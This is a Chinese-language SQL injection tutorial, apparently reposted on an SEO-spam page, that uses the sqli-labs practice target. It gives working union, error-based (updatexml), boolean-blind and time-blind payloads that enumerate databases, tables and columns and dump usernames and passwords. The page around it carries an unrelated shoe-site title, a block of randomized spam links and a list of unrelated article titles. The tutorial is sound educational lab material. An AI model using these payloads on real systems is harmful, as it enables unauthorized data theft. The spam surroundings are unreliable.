当前位置: 首页 > wzjs >正文

中国专业做鞋子的网站如何把国外的网站在国内做镜像

中国专业做鞋子的网站,如何把国外的网站在国内做镜像,网站进度条,华铭保信建筑公司网站Sql注入的基本原理 SQL 注入(SQL Injection)是一种常见的网络攻击手段,发生在 Web 程序中数据库层的安全漏洞,是网站存在较多且较为简单的漏洞。主要原因是程序对用户输入数据的合法性没有进行判断和处理,使得攻击者能…

Sql注入的基本原理

SQL 注入(SQL Injection)是一种常见的网络攻击手段,发生在 Web 程序中数据库层的安全漏洞,是网站存在较多且较为简单的漏洞。主要原因是程序对用户输入数据的合法性没有进行判断和处理,使得攻击者能够在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,如窃取敏感数据、绕过身份验证、修改或删除数据库内容、执行系统命令等。今天就来讲讲sql注入的常见过程。

本文仅仅是个人见解,如有问题,请各位师傅指出,某一定认真听教,修改。

本文使用sqli-labs靶场(以下简称靶场),让各位有更直观的了解。

特别提醒,本文仅限学习使用,一切造成的后果,皆有个人承担,与本人无关。

那么我们现在开始吧。

  1. 找到sql注入点。

这是sql注入的第一步。其实sql注入的注入点不仅限于url,其实所有可以输入内容的地方都有可能成为注入点。比如像输入账号密码的地方,这里就用靶场的第11关来做讲解。

可以看到是一个输入账号密码的地方,此时我们在账号处就可以sql注入

(此处是一个盲注,后面会讲)

其实sql注入点有很多,使用burpsuite抓包,

比如像user-agent,cookie等都有可能成为注入点,这就要求你有足够的耐心去尝试。

        2.判断字符型注入还是数字型注入

这是sql注入必不缺少的一部,字符型和数字型为两个不同的注入和闭合方式,可以使用id=1’,如果不报错,就是字符型,否则为数字型。

        3.尝试闭合方式

如果说找注入点很困难,那么使其闭合会更难,因为这就要求你会看源码,分析闭合方式。如果看不到源码,就要自己尝试。常见的闭合方式为(均为英文字符):’(单引号),”(双引号),’)(单引号加括号),”)(双引号加括号),等等多种方式,这里是字符型才要猜闭合,如果是数字型可以跳过这个步骤。在字符型闭合后,在后面加上-- +(中间有一个空格),可以将原本后面的代码注释掉。

        4.判断sql注入方法

Sql注入有很多方法,主流的为sql的union(联合)注入,sql的盲注,盲注又分为布尔盲注和时间盲注,sql的报错注入等等。以下会详细讲讲这几种方法。

  1. 进行sql注入
    1. 1union(联合)注入

联合注入主要使用的是union select 语句,这里使用靶场1来做演示

首先是闭合方式?id=1' -- +

页面回显正常,可以确定是闭合成功。

接下来使用order by

?id=1’order by 1 -- +

?id=1’order by 2 -- +

?id=1’order by 3 -- +

?id=1’order by 4 -- +

可以看到order by 4 时爆出没有4,此时我们知道存在3 列。

?id=-1’ union select 1,2,3 -- +(这里一定要改为-1或其他不存在的id)

此时我们知道在2和3存在注入点。我们可以在2和3处改为我们要查的东西,比如数据库:database(),版本:version(),用户:users(),等,这里主要是查数据库,

?id=-1’union select 1,database(),version() -- +

此时爆出了数据库名为security

接下来继续注入爆表名。

?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’ -- +

此时我们可以看到表名为emails,referers,uagents,users,接下来爆表名的具体目录名。(这里以users做演示)

?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’-- +

爆出来了具体目录名。

最后就是查具体数据了。

?id=-1’union select 1,2,group_concat(id,username,password) from users -- +

爆出了数据库具体数据。在这里要稍微讲一下group_concat 这个函数,当数据过多时,可能会因为数据过长而报不出来,这里就要用select 配上limit来查看。

  1. 2 报错注入

这里使用的是靶场的第五关

首先这里使用联合注入发现不行

那么接下来就是用报错注入,核心原理就是执行错误的代码返回时就会带出敏感信息。那么接下来讲讲报错注入。

首先也是尝试闭合方式,字符型注入。

然后构造语句?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +

成功爆出表名,这里讲一下,0x7e是~的16进制数,其实也可以用其他的,当然你也可以用“!”这样的方式来输入。

接下来就是爆表名。

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1) -- +

R然后我们可以把limit 0,1 改为limit 1,1 查询第二张表,这里就不多演示了。

接下来爆列明,这里用emails做演示

?id=1 'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- +

然后就是limit 0,1 改为limit 1,1 查看列名。这里不多赘述。

最后一步就是查数据了。

?id=1’ and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- +

接下来的操作我就不多说了。Ok,那么报错注入也讲完了。

1.3.1布尔盲注

其实盲注是我认为所有sql注入中的最繁琐的注入方法,顾名思义,盲注是看不到页面回显的,(仅仅有错误与正确之分),这就相当于全程都在猜。

这里使用的是靶场第八题。

首先要爆出表名,我们先查看长度。

?id=1’ and length(database())=8 -- +

页面回显正常,当我们的条件是错的时候(比如像=7)

可以看到页面回显错误。

接下来就是要爆数据库名。因为看不到回显,所以我们要一个一个去猜。

?id=1’ and ascii(substr(database(),1,1))=115-- +

这里就要熟悉ASCII码表。

一位一位去猜,这里就非常考验耐心了。

最后爆出来的数据库名为security。

接下来就是要爆表名,和上面差不多。

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101-- +

哎反正就是要有耐心,一位一位爆,最后爆出表名是emails

最后就是爆列名。

?id=1'and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- +

爆出来最后是id

然后是爆数据

?id=1'and (ascii(substr((select id from emails limit 0,1),1,1)))=49-- +

一位一位爆。

1.3.2时间盲注

如果说上面的已经很烦了,那么时间盲注会更麻烦。时间盲注的页面回显会一直正常,那么我们怎么办呢。我们可以使用当条件成立时,使其睡眠几秒,延长反应时间。时间盲注是真的需要大量时间来做。而且由于他是根据延时来确定的,这里就不把截图发过来了,(发过来其实也看不出来)

这里就用靶场第九关。

?id=1’and if(length(database())=8,sleep(5),1) -- +

?id=1' and if ((ascii(substr(database(),1,1))=115),sleep(5),1) -- +

?id=1' and if ((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- +

?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- +

?id=1' and if ((ascii(substr((select id from emails limit 0,1 ),1,1))=49),sleep(5),1) -- +

这里建议大家上机试试,其实延时还是挺明显的。

不过时间盲注是真的费时间,你得一位一位去测,还没有任何提示,布尔盲注还可以用二分法逼近加快进程,这个是真的只能老老实实去一个一个测。

  1. 结语

好了,以上就是sql注入的一般过程以及一些注入方法。最后声明,本文仅仅为个人学习所用,一切因个人造成的问题与后果,皆有个人承担。


文章转载自:

http://epxPI1DR.LbpfL.cn
http://W9PiwLv5.LbpfL.cn
http://LEHIXwRu.LbpfL.cn
http://QC3imeaS.LbpfL.cn
http://wrTGqtak.LbpfL.cn
http://Gug7boXq.LbpfL.cn
http://xjLXPxRh.LbpfL.cn
http://CaAXuTcH.LbpfL.cn
http://284Gmb2T.LbpfL.cn
http://MJdyJO3e.LbpfL.cn
http://7RP3yfdk.LbpfL.cn
http://yhoUbhZn.LbpfL.cn
http://5oLhA5Gr.LbpfL.cn
http://w8zwusPZ.LbpfL.cn
http://tzzSIuE2.LbpfL.cn
http://3NvZaLTN.LbpfL.cn
http://r8sfSOnB.LbpfL.cn
http://T2fSKw2h.LbpfL.cn
http://v41SPxnp.LbpfL.cn
http://nvFOL3j5.LbpfL.cn
http://KkBIz0og.LbpfL.cn
http://dJtTkhi1.LbpfL.cn
http://yQSPfA4x.LbpfL.cn
http://dBMMglon.LbpfL.cn
http://gamAFbdc.LbpfL.cn
http://RflwuHvM.LbpfL.cn
http://0qythnlB.LbpfL.cn
http://cllI76hZ.LbpfL.cn
http://woL1Z8oo.LbpfL.cn
http://ka2lYBk4.LbpfL.cn
http://www.dtcms.com/wzjs/629046.html

相关文章:

  • 课外辅导东莞网站建设技术支持年会策划方案
  • 一个虚拟主机怎么做多个网站个人网站名称
  • wordpress写api接口网站优化的方式
  • 曲靖做网站公司郑州货拉拉
  • 代做毕业设计网站大学网站建设排名
  • 视频网站怎么做的反爬虫电商网站功能模块
  • 莱特币做空 网站南昌租房网
  • 找兼职做网站建设郑州高端网站定制公司
  • 昆山网站制作 微博png免费素材网站
  • 如何自己制作一个网站网站建设合作方案
  • 做特卖的网站网站底部菜单
  • 创建网站怎么赚钱的网页设计个人简介代码
  • 网站建设工作流程html阿里云 wordpress 权限
  • 百度统计 wordpress 插件如何做好seo
  • 专业建站开发通州优化公司
  • 如何在网站中做公示信息低价网站备案
  • wordpress 水果主题seo优化网站优化
  • 东阳便宜自适应网站建设优惠网站建设目标计划书
  • 乐山建设企业网站好的wordpress企业模板下载
  • 计算机网站开发要考什么证电脑网页打不开怎么回事
  • 网站建设合同副本红色主题网站模板
  • 官方网站建设方法绍兴网站建设技术外包
  • wordpress一年后续费自己怎么去做seo网站推广?
  • 中小学网站建站模板东莞商业网站建设常识
  • destoon 网站搬迁开发一个小程序要多少钱
  • 金融行业网站建设公司企业网络营销推广方案策划范文
  • 做印量调查的网站营销型网站建设的指导原则不包括
  • 竞价网站建设百度高级搜索怎么用
  • 个人网站模板的优缺点怎么做好网站开发 设计
  • 百度网盘搜索引擎网站中国建筑网官网新闻